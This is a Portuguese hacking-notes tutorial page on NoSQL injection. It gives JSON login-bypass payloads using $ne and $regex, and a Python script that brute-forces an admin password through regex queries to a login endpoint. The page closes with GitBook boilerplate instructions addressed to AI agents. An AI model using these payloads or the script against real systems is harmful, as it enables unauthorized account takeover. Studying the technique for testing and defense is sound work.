> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md).

# Injeção NoSQL

<figure><img src="/files/376601b9fc2c1b01f1b8005c54dc9a74f7b05e3f" alt="" width="563"><figcaption></figcaption></figure>

## Injeção NoSQL manual com Burp Suite

Intercepte a requisição de login com o Burp Suite:

<figure><img src="/files/bbf227e8bd590dccd5890bea1df92331ca866e9b" alt=""><figcaption></figcaption></figure>

Podemos enviar uma consulta neste formato quando sabemos que o nome de usuário é **admin**, mas a **senha não é conhecida** e não é `admin`:

```json
{
  "username": "admin",
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/475860136460deaf0382f003b0777b6724f8525d" alt=""><figcaption></figcaption></figure>

Podemos enviar uma consulta neste formato quando não sabemos nem o **nome de usuário** nem a **senha**:

```json
{
  "username": {
    "$ne": "ThisUserDoesNotExist"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/516401c675022c9032c384767c7feddfa7bcf261" alt=""><figcaption></figcaption></figure>

Podemos enviar uma consulta com esta **regex** quando sabemos como o nome de usuário **começa**; neste caso, com a letra `um`:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/e6f6a0bea0af72457f9440e03097e27aaf88a096" alt=""><figcaption></figcaption></figure>

## Script Python:

O script Python abaixo automatiza o processo e foi projetado para encontrar a senha quando o nome de usuário é conhecido. *Personalize o nome de usuário e a URL de destino para cada situação*:

<figure><img src="/files/70d7a1b3fe2491d7c978393944598d9988860b15" alt=""><figcaption></figcaption></figure>

```python
#!/usr/bin/python3
from pwn import *
import requests, time, sys, signal, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Injeção NoSQL
signal.signal(signal.SIGINT, def_handler)
# Injeção NoSQL
login_url = "http://localhost:4000/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeNoSQLI():
    password = ""
    p1 = log.progress("Força bruta")
    p1.status("Iniciando o processo de força bruta")
    time.sleep(2)
    p2 = log.progress("Senha")
    for position in range(0, 100):
        for character in characters:
            post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password, character)
            p1.status(post_data)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(login_url, headers=headers, data=post_data)
            if "Conectado como usuário" in r.text:
                password += character
                p2.status(password)
                break
if __name__ == '__main__':
    makeNoSQLI()

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
